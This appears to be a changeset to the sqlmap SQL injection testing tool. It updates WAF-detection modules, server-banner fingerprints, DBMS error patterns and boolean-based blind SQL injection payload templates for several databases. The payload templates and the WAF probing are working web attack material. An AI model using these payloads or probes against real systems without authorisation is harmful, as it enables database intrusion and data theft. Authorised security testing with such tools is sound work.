            text = text.replace('\\\r\n', '')
            text = text.replace('\\\r', '')
            text = text.replace('\\\n', '')
-            
+
            # quotes
            text = text.replace('\\"', '"')

@@ -1151,7 +1151,7 @@ class XDotParser(DotParser):
    def __init__(self, xdotcode):
        lexer = DotLexer(buf = xdotcode)
        DotParser.__init__(self, lexer)
-        
+
        self.nodes = []
        self.edges = []
        self.shapes = []
@@ -1188,7 +1188,7 @@ class XDotParser(DotParser):
                self.height = max(ymax - ymin, 1)

                self.top_graph = False
-        
+
        for attr in ("_draw_", "_ldraw_", "_hdraw_", "_tdraw_", "_hldraw_", "_tldraw_"):
            if attr in attrs:
                parser = XDotAttrParser(self, attrs[attr])
@@ -1219,7 +1219,7 @@ class XDotParser(DotParser):
            pos = attrs['pos']
        except KeyError:
            return
-        
+
        points = self.parse_edge_pos(pos)
        shapes = []
        for attr in ("_draw_", "_ldraw_", "_hdraw_", "_tdraw_", "_hldraw_", "_tldraw_"):
@@ -1987,7 +1987,7 @@ class DotWindow(gtk.Window):
        if not entry_text:
            dot_widget.set_highlight(None)
            return
-        
+
        found_items = self.find_text(entry_text)
        dot_widget.set_highlight(found_items)

@@ -1997,7 +1997,7 @@ class DotWindow(gtk.Window):
        if not entry_text:
            dot_widget.set_highlight(None)
            return;
-        
+
        found_items = self.find_text(entry_text)
        dot_widget.set_highlight(found_items)
        if(len(found_items) == 1):
@@ -2015,7 +2015,7 @@ class DotWindow(gtk.Window):
        if self.widget.set_xdotcode(xdotcode):
            self.update_title(filename)
            self.widget.zoom_to_fit()
-        
+
    def update_title(self, filename=None):
        if filename is None:
            self.set_title(self.base_title)
@@ -15,8 +15,9 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        _, headers, _ = get_page(get=vector)
+        page, headers, code = get_page(get=vector)
        retval = re.search(r"wangzhan\.360\.cn", headers.get("X-Powered-By-360wzb", ""), re.I) is not None
+        retval |= code == 493 and "/wzws-waf-cgi/" in (page or "")
        if retval:
            break

@@ -15,8 +15,9 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        _, headers, _ = get_page(get=vector)
+        page, headers, code = get_page(get=vector)
        retval = re.search(r"MISS", headers.get("X-Powered-By-Anquanbao", ""), re.I) is not None
+        retval |= code == 405 and "/aqb_cc/error/" in (page or "")
        if retval:
            break

@@ -0,0 +1,21 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+from lib.core.settings import WAF_ATTACK_VECTORS
+
+__product__ = "Armor Protection (Armor Defense)"
+
+def detect(get_page):
+    retval = False
+
+    for vector in WAF_ATTACK_VECTORS:
+        page, _, _ = get_page(get=vector)
+        retval = "This request has been blocked by website protection from Armor" in (page or "")
+        if retval:
+            break
+
+    return retval
@@ -18,8 +18,10 @@ def detect(get_page):
    for vector in WAF_ATTACK_VECTORS:
        _, headers, _ = get_page(get=vector)
        retval = headers.get("X-Cnection", "").lower() == "close"
-        retval |= re.search(r"\ATS[a-zA-Z0-9]{3,6}=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
+        retval |= re.search(r"\ATS[a-zA-Z0-9]{4,}=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
+        retval |= re.search(r"BigIP|BIGipServer", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
        retval |= re.search(r"BigIP|BIGipServer", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
+        retval |= re.search(r"\AF5\Z", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
        if retval:
            break

@@ -16,9 +16,14 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        _, headers, _ = get_page(get=vector)
+        page, headers, code = get_page(get=vector)
        retval = re.search(r"cloudflare-nginx", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
-        retval |= re.search(r"\A__cfduid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
+
+        if code >= 400:
+            retval |= re.search(r"\A__cfduid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
+            retval |= headers.get("cf-ray") is not None
+            retval |= re.search(r"CloudFlare Ray ID:|var CloudFlare=", page or "") is not None
+
        if retval:
            break

@@ -0,0 +1,26 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import re
+
+from lib.core.settings import WAF_ATTACK_VECTORS
+
+__product__ = "CloudFront (Amazon)"
+
+def detect(get_page):
+    retval = False
+
+    for vector in WAF_ATTACK_VECTORS:
+        _, headers, _ = get_page(get=vector)
+
+        retval |= re.search(r"cloudfront", headers.get("X-Cache", ""), re.I) is not None
+        retval |= headers.get("X-Amz-Cf-Id") is not None
+
+        if retval:
+            break
+
+    return retval
@@ -0,0 +1,24 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import re
+
+from lib.core.enums import HTTP_HEADER
+from lib.core.settings import WAF_ATTACK_VECTORS
+
+__product__ = "Comodo Web Application Firewall (Comodo)"
+
+def detect(get_page):
+    retval = False
+
+    for vector in WAF_ATTACK_VECTORS:
+        _, headers, _ = get_page(get=vector)
+        retval = re.search(r"Protected by COMODO WAF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
+        if retval:
+            break
+
+    return retval
@@ -18,7 +18,7 @@ def detect(get_page):
    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
        retval = re.search(r"\Asessioncookie=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
-        retval |= code == 200 and re.search(r"\ACondition Intercepted", page, re.I) is not None
+        retval |= code == 200 and re.search(r"\ACondition Intercepted", page or "", re.I) is not None
        if retval:
            break

@@ -13,9 +13,10 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        _, headers, _ = get_page(get=vector)
-        retVal = headers.get("X-dotDefender-denied", "") == "1"
-        if retVal:
+        page, headers, _ = get_page(get=vector)
+        retval = headers.get("X-dotDefender-denied", "") == "1"
+        retval |= "dotDefender Blocked Your Request" in (page or "")
+        if retval:
            break

    return retval
@@ -13,12 +13,12 @@ from lib.core.settings import WAF_ATTACK_VECTORS
 __product__ = "EdgeCast WAF (Verizon)"

 def detect(get_page):
-    retVal = False
+    retval = False

    for vector in WAF_ATTACK_VECTORS:
        _, headers, code = get_page(get=vector)
-        retVal = code == 400 and re.search(r"\AECDF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
-        if retVal:
+        retval = code == 400 and re.search(r"\AECDF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
+        if retval:
            break

-    return retVal
+    return retval
@@ -14,7 +14,7 @@ def detect(get_page):

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
-        retval = "Invalid GET Data" in page
+        retval = "Invalid GET Data" in (page or "")
        if retval:
            break

@@ -0,0 +1,27 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
+from lib.core.settings import WAF_ATTACK_VECTORS
+
+__product__ = "Generic (Unknown)"
+
+def detect(get_page):
+    retval = False
+
+    page, _, code = get_page()
+    if page is None or code >= 400:
+        return False
+
+    for vector in WAF_ATTACK_VECTORS:
+        page, _, code = get_page(get=vector)
+
+        if code >= 400 or IDS_WAF_CHECK_PAYLOAD in vector and code is None:
+            retval = True
+            break
+
+    return retval
@@ -16,9 +16,10 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        _, headers, _ = get_page(get=vector)
+        page, headers, _ = get_page(get=vector)
        retval = re.search(r"incap_ses|visid_incap", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
        retval |= re.search(r"Incapsula", headers.get("X-CDN", ""), re.I) is not None
+        retval |= "Incapsula incident ID" in (page or "")
        if retval:
            break

@@ -16,10 +16,12 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        page, headers, _ = get_page(get=vector)
+        page, headers, code = get_page(get=vector)
        retval = re.search(r"jiasule-WAF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
        retval |= re.search(r"__jsluid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
-        retval |= re.search(r"static\.jiasule\.com/static/js/http_error\.js", page, re.I) is not None
+        retval |= re.search(r"jsl_tracking", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
+        retval |= re.search(r"static\.jiasule\.com/static/js/http_error\.js", page or "", re.I) is not None
+        retval |= code == 403 and "notice-jiasule" in (page or "")
        if retval:
            break

@@ -16,7 +16,7 @@ def detect(get_page):

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
-        retval = re.search(r"url\('/ks-waf-error\.png'\)", page, re.I) is not None
+        retval = re.search(r"url\('/ks-waf-error\.png'\)", page or "", re.I) is not None
        if retval:
            break

@@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission

 import re

+from lib.core.enums import HTTP_HEADER
 from lib.core.settings import WAF_ATTACK_VECTORS

 __product__ = "KONA Security Solutions (Akamai Technologies)"
@@ -15,8 +16,9 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        page, _, code = get_page(get=vector)
-        retval = code in (400, 501) and re.search(r"Reference #[0-9A-Fa-f.]+", page, re.I) is not None
+        page, headers, code = get_page(get=vector)
+        retval = code in (400, 403, 501) and re.search(r"Reference #[0-9A-Fa-f.]+", page or "", re.I) is not None
+        retval |= re.search(r"AkamaiGHost", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
        if retval:
            break

@@ -17,9 +17,9 @@ def detect(get_page):

    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
-        retval = code == 501 and re.search(r"Reference #[0-9A-Fa-f.]+", page, re.I) is None
+        retval = code == 501 and re.search(r"Reference #[0-9A-Fa-f.]+", page or "", re.I) is None
        retval |= re.search(r"Mod_Security|NOYB", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
-        retval |= "This error was generated by Mod_Security" in page
+        retval |= "This error was generated by Mod_Security" in (page or "")
        if retval:
            break

@@ -16,7 +16,7 @@ def detect(get_page):

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
-        retval = re.search(r"Access[^<]+has been blocked in accordance with company policy", page, re.I) is not None
+        retval = re.search(r"Access[^<]+has been blocked in accordance with company policy", page or "", re.I) is not None
        if retval:
            break

@@ -16,7 +16,7 @@ def detect(get_page):

    for vector in WAF_ATTACK_VECTORS:
        page, headers, _ = get_page(get=vector)
-        retval = re.search(r"Unauthorized Activity Has Been Detected.+Case Number:", page, re.I | re.S) is not None
+        retval = re.search(r"Unauthorized Activity Has Been Detected.+Case Number:", page or "", re.I | re.S) is not None
        retval |= headers.get("X-SL-CompState") is not None
        if retval:
            break
@@ -13,9 +13,10 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        page, _, _ = get_page(get=vector)
-        retval = "ASP.NET has detected data in the request that is potentially dangerous" in page
-        retval |= "Request Validation has detected a potentially dangerous client input value" in page
+        page, _, code = get_page(get=vector)
+        retval = "ASP.NET has detected data in the request that is potentially dangerous" in (page or "")
+        retval |= "Request Validation has detected a potentially dangerous client input value" in (page or "")
+        retval |= code == 500 and "HttpRequestValidationException" in page
        if retval:
            break

@@ -5,13 +5,21 @@ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

-from lib.core.enums import HTTP_HEADER
+import re
+
+from lib.core.settings import WAF_ATTACK_VECTORS

 __product__ = "SecureIIS Web Server Security (BeyondTrust)"

 def detect(get_page):
-    _, _, code = get_page()
-    retval = code != 404
-    _, _, code = get_page(auxHeaders={HTTP_HEADER.TRANSFER_ENCODING: 'a' * 1025, HTTP_HEADER.ACCEPT_ENCODING: "identity"})
-    retval = retval and code == 404
+    retval = False
+
+    for vector in WAF_ATTACK_VECTORS:
+        page, _, _ = get_page(get=vector)
+        retval = re.search(r"SecureIIS[^<]+Web Server Protection", page or "") is not None
+        retval |= "http://www.eeye.com/SecureIIS/" in (page or "")
+        retval |= re.search(r"\?subject=[^>]*SecureIIS Error", page or "") is not None
+        if retval:
+            break
+
    return retval
@@ -14,7 +14,7 @@ def detect(get_page):

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
-        retval = "SENGINX-ROBOT-MITIGATION" in page
+        retval = "SENGINX-ROBOT-MITIGATION" in (page or "")
        if retval:
            break

@@ -0,0 +1,21 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+from lib.core.settings import WAF_ATTACK_VECTORS
+
+__product__ = "TrueShield Web Application Firewall (SiteLock)"
+
+def detect(get_page):
+    retval = False
+
+    for vector in WAF_ATTACK_VECTORS:
+        page, _, _ = get_page(get=vector)
+        retval = "SiteLock Incident ID" in (page or "")
+        if retval:
+            break
+
+    return retval
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import re
+
+from lib.core.enums import HTTP_HEADER
+from lib.core.settings import WAF_ATTACK_VECTORS
+
+__product__ = "SonicWALL (Dell)"
+
+def detect(get_page):
+    retval = False
+
+    for vector in WAF_ATTACK_VECTORS:
+        page, headers, _ = get_page(get=vector)
+        retval = "This request is blocked by the SonicWALL" in (page or "")
+        retval |= re.search(r"SonicWALL", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
+        if retval:
+            break
+
+    return retval
@@ -0,0 +1,21 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+from lib.core.settings import WAF_ATTACK_VECTORS
+
+__product__ = "UTM Web Protection (Sophos)"
+
+def detect(get_page):
+    retval = False
+
+    for vector in WAF_ATTACK_VECTORS:
+        page, _, _ = get_page(get=vector)
+        retval = "Powered by UTM Web Protection" in (page or "")
+        if retval:
+            break
+
+    return retval
@@ -0,0 +1,24 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import re
+
+from lib.core.enums import HTTP_HEADER
+from lib.core.settings import WAF_ATTACK_VECTORS
+
+__product__ = "Stingray Application Firewall (Riverbed / Brocade)"
+
+def detect(get_page):
+    retval = False
+
+    for vector in WAF_ATTACK_VECTORS:
+        _, headers, code = get_page(get=vector)
+        retval = code in (403, 500) and re.search(r"\AX-Mapping-", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
+        if retval:
+            break
+
+    return retval
@@ -13,12 +13,12 @@ from lib.core.settings import WAF_ATTACK_VECTORS
 __product__ = "Sucuri WebSite Firewall"

 def detect(get_page):
-    retVal = False
+    retval = False

    for vector in WAF_ATTACK_VECTORS:
        _, headers, code = get_page(get=vector)
-        retVal = code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
-        if retVal:
+        retval = code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
+        if retval:
            break

-    return retVal
+    return retval
@@ -16,8 +16,9 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        _, headers, _ = get_page(get=vector)
+        page, headers, code = get_page(get=vector)
        retval = re.search(r"Rejected-By-UrlScan", headers.get(HTTP_HEADER.LOCATION, ""), re.I) is not None
+        retval |= code != 200 and re.search(r"/Rejected-By-UrlScan", page or "", re.I) is not None
        if retval:
            break

@@ -16,9 +16,11 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        _, headers, _ = get_page(get=vector)
+        page, headers, code = get_page(get=vector)
        retval = headers.get("X-Varnish") is not None
        retval |= re.search(r"varnish\Z", headers.get(HTTP_HEADER.VIA, ""), re.I) is not None
+        retval |= re.search(r"varnish", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
+        retval |= code == 404 and re.search(r"\bXID: \d+", page or "") is not None
        if retval:
            break

@@ -0,0 +1,24 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import re
+
+from lib.core.enums import HTTP_HEADER
+from lib.core.settings import WAF_ATTACK_VECTORS
+
+__product__ = "Wallarm Web Application Firewall (Wallarm)"
+
+def detect(get_page):
+    retval = False
+
+    for vector in WAF_ATTACK_VECTORS:
+        _, headers, _ = get_page(get=vector)
+        retval = re.search(r"nginx-wallarm", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
+        if retval:
+            break
+
+    return retval
@@ -17,9 +17,9 @@ def detect(get_page):

    for vector in WAF_ATTACK_VECTORS:
        _, headers, code = get_page(get=vector)
-        retVal = code == 999
+        retval = code == 999
        retval |= re.search(r"WebKnight", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
-        if retVal:
+        if retval:
            break

    return retval
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import re
+
+from lib.core.enums import HTTP_HEADER
+from lib.core.settings import WAF_ATTACK_VECTORS
+
+__product__ = "Yundun Web Application Firewall (Yundun)"
+
+def detect(get_page):
+    retval = False
+
+    for vector in WAF_ATTACK_VECTORS:
+        _, headers, _ = get_page(get=vector)
+        retval = re.search(r"YUNDUN", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
+        retval |= re.search(r"YUNDUN", headers.get("X-Cache", ""), re.I) is not None
+        if retval:
+            break
+
+    return retval
@@ -27,23 +27,26 @@
        <info sp="4"/>
    </regexp>

-    <regexp value="Windows.*7\.5">
-        <info type="Windows" distrib="2008"/>
+    <!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
+
+    <regexp value="Windows.*10\.0">
+        <info type="Windows" distrib="2016|10"/>
    </regexp>

-    <regexp value="Windows.*7\.0">
-        <info type="Windows" distrib="Vista"/>
+    <regexp value="Windows.*6\.3">
+        <info type="Windows" distrib="2012 R2|8.1"/>
+    </regexp>
+
+    <regexp value="Windows.*6\.2">
+        <info type="Windows" distrib="2012|8"/>
    </regexp>

    <regexp value="Windows.*6\.1">
-        <info type="Windows" distrib="7"/>
+        <info type="Windows" distrib="2008 R2|7"/>
    </regexp>

    <regexp value="Windows.*6\.0">
-        <!-- TODO: verify this
-        <info type="Windows" distrib="Vista"/>
-        -->
-        <info type="Windows" distrib="2003"/>
+        <info type="Windows" distrib="2008|Vista"/>
    </regexp>

    <regexp value="Windows.*5\.2">
@@ -9,6 +9,10 @@
 <root>
    <!-- Microsoft IIS -->

+    <regexp value="Microsoft-IIS/(10\.0)">
+        <info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2016|10"/>
+    </regexp>
+
    <regexp value="Microsoft-IIS/(8\.5)">
        <info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2012 R2|8.1"/>
    </regexp>
@@ -82,7 +86,7 @@
    </regexp>

    <regexp value="Apache/2\.2\.15 \(CentOS\)">
-        <info type="Linux" distrib="CentOS" release="6.5"/>
+        <info type="Linux" distrib="CentOS" release="6.8"/>
    </regexp>

    <!-- Apache: Debian -->
@@ -147,6 +151,14 @@
        <info type="Linux" distrib="Debian" release="7.0" codename="wheezy"/>
    </regexp>

+    <regexp value="Apache/2\.4\.10 \(Debian\)">
+        <info type="Linux" distrib="Debian" release="8.0" codename="jessie"/>
+    </regexp>
+
+    <regexp value="Apache/2\.4\.18 \(Debian\)">
+        <info type="Linux" distrib="Debian" release="9.0" codename="jessie (testing)"/>
+    </regexp>
+
    <!-- Apache: Fedora -->

    <regexp value="Apache/2\.0\.47 \(Fedora\)">
@@ -249,6 +261,18 @@
        <info type="Linux" distrib="Fedora" release="20" codename="Heisenbug"/>
    </regexp>

+    <regexp value="Apache/2\.4\.10 \(Fedora\)">
+        <info type="Linux" distrib="Fedora" release="21"/>
+    </regexp>
+
+    <regexp value="Apache/2\.4\.12 \(Fedora\)">
+        <info type="Linux" distrib="Fedora" release="22"/>
+    </regexp>
+
+    <regexp value="Apache/2\.4\.16 \(Fedora\)">
+        <info type="Linux" distrib="Fedora" release="23"/>
+    </regexp>
+
    <!-- Apache: FreeBSD -->

    <regexp value="Apache/2\.0\.16 \(FreeBSD\)">
@@ -347,6 +371,14 @@
        <info type="FreeBSD" release="9.2"/>
    </regexp>

+    <regexp value="Apache/2\.4\.9 \(FreeBSD\)">
+        <info type="FreeBSD" release="9.3"/>
+    </regexp>
+
+    <regexp value="Apache/2\.4\.16 \(FreeBSD\)">
+        <info type="FreeBSD" release="10.3"/>
+    </regexp>
+
    <!-- Apache: Mandrake / Mandriva -->

    <regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Mandrake/Linux\)">
@@ -642,6 +674,10 @@
        <info type="Linux" distrib="SuSE" release="13.1"/>
    </regexp>

+    <regexp value="Apache/2\.4\.10 \(Linux/SuSE\)">
+        <info type="Linux" distrib="SuSE" release="13.2"/>
+    </regexp>
+
    <!-- Apache: Ubuntu -->

    <regexp value="Apache/2\.0\.50 \(Ubuntu\)">
@@ -708,6 +744,18 @@
        <info type="Linux" distrib="Ubuntu" release="13.10" codename="Saucy Salamander"/>
    </regexp>

+    <regexp value="Apache/2\.4\.10 \(Ubuntu\)">
+        <info type="Linux" distrib="Ubuntu" release="14.10|15.04" codename="utopic|vivid"/>
+    </regexp>
+
+    <regexp value="Apache/2\.4\.12 \(Ubuntu\)">
+        <info type="Linux" distrib="Ubuntu" release="15.10" codename="willy"/>
+    </regexp>
+
+    <regexp value="Apache/2\.4\.18 \(Ubuntu\)">
+        <info type="Linux" distrib="Ubuntu" release="16.04" codename="xenial"/>
+    </regexp>
+
    <!-- Nginx -->

    <regexp value="nginx/([\w\.]+)">
@@ -365,42 +365,6 @@ Formats:
        <suffix> AND "%"="</suffix>
    </boundary>

-    <boundary>
-        <level>5</level>
-        <clause>1</clause>
-        <where>1,2</where>
-        <ptype>2</ptype>
-        <prefix>%00')</prefix>
-        <suffix> AND ('[RANDSTR]'='[RANDSTR]</suffix>
-    </boundary>
-
-    <boundary>
-        <level>5</level>
-        <clause>1</clause>
-        <where>1,2</where>
-        <ptype>2</ptype>
-        <prefix>%00'))</prefix>
-        <suffix> AND (('[RANDSTR]'='[RANDSTR]</suffix>
-    </boundary>
-
-    <boundary>
-        <level>5</level>
-        <clause>1</clause>
-        <where>1,2</where>
-        <ptype>2</ptype>
-        <prefix>%00')))</prefix>
-        <suffix> AND ((('[RANDSTR]'='[RANDSTR]</suffix>
-    </boundary>
-
-    <boundary>
-        <level>4</level>
-        <clause>1</clause>
-        <where>1,2</where>
-        <ptype>2</ptype>
-        <prefix>%00'</prefix>
-        <suffix> AND '[RANDSTR]'='[RANDSTR]</suffix>
-    </boundary>
-
    <boundary>
        <level>1</level>
        <clause>1</clause>
@@ -7,7 +7,7 @@
        <error regexp="Warning.*mysql_.*"/>
        <error regexp="MySqlException \(0x"/>
        <error regexp="valid MySQL result"/>
-        <error regexp="check the manual that corresponds to your MySQL server version"/>
+        <error regexp="check the manual that corresponds to your (MySQL|MariaDB) server version"/>
        <error regexp="MySqlClient\."/>
        <error regexp="com\.mysql\.jdbc\.exceptions"/>
    </dbms>
@@ -28,11 +28,13 @@
        <error regexp="Driver.* SQL[\-\_\ ]*Server"/>
        <error regexp="OLE DB.* SQL Server"/>
        <error regexp="\bSQL Server.*Driver"/>
-        <error regexp="Warning.*mssql_.*"/>
+        <error regexp="Warning.*(mssql|sqlsrv)_"/>
        <error regexp="\bSQL Server.*[0-9a-fA-F]{8}"/>
        <error regexp="(?s)Exception.*\WSystem\.Data\.SqlClient\."/>
        <error regexp="(?s)Exception.*\WRoadhouse\.Cms\."/>
        <error regexp="Microsoft SQL Native Client.*[0-9a-fA-F]{8}"/>
+        <error regexp="com\.microsoft\.sqlserver\.jdbc\.SQLServerException"/>
+        <error regexp="ODBC SQL Server Driver"/>
    </dbms>

    <!-- Microsoft Access -->
@@ -768,12 +768,12 @@ Tag: <test>
        <risk>1</risk>
        <clause>1,3</clause>
        <where>3</where>
-        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</vector>
+        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</vector>
        <request>
-            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</payload>
+            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</payload>
        </request>
        <response>
-            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</comparison>
+            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</comparison>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
@@ -789,12 +789,12 @@ Tag: <test>
        <risk>1</risk>
        <clause>1,3</clause>
        <where>3</where>
-        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</vector>
+        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</vector>
        <request>
-            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</payload>
+            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</payload>
        </request>
        <response>
-            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</comparison>
+            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</comparison>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
@@ -916,6 +916,39 @@ Tag: <test>
            <dbms>SAP MaxDB</dbms>
        </details>
    </test>
+
+    <!-- Works in MySQL, Oracle, etc. -->
+    <test>
+        <title>Boolean-based blind - Parameter replace (DUAL)</title>
+        <stype>1</stype>
+        <level>2</level>
+        <risk>1</risk>
+        <clause>1,2,3</clause>
+        <where>3</where>
+        <vector>(CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</vector>
+        <request>
+            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</payload>
+        </request>
+        <response>
+            <comparison>(CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</comparison>
+        </response>
+    </test>
+
+    <test>
+        <title>Boolean-based blind - Parameter replace (DUAL) (original value)</title>
+        <stype>1</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1,2,3</clause>
+        <where>3</where>
+        <vector>(CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</vector>
+        <request>
+            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</payload>
+        </request>
+        <response>
+            <comparison>(CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</comparison>
+        </response>
+    </test>
    <!-- End of boolean-based blind tests - Parameter replace -->

    <!-- Boolean-based blind tests - ORDER BY, GROUP BY clause -->
@@ -1070,12 +1103,12 @@ Tag: <test>
        <risk>1</risk>
        <clause>3</clause>
        <where>1</where>
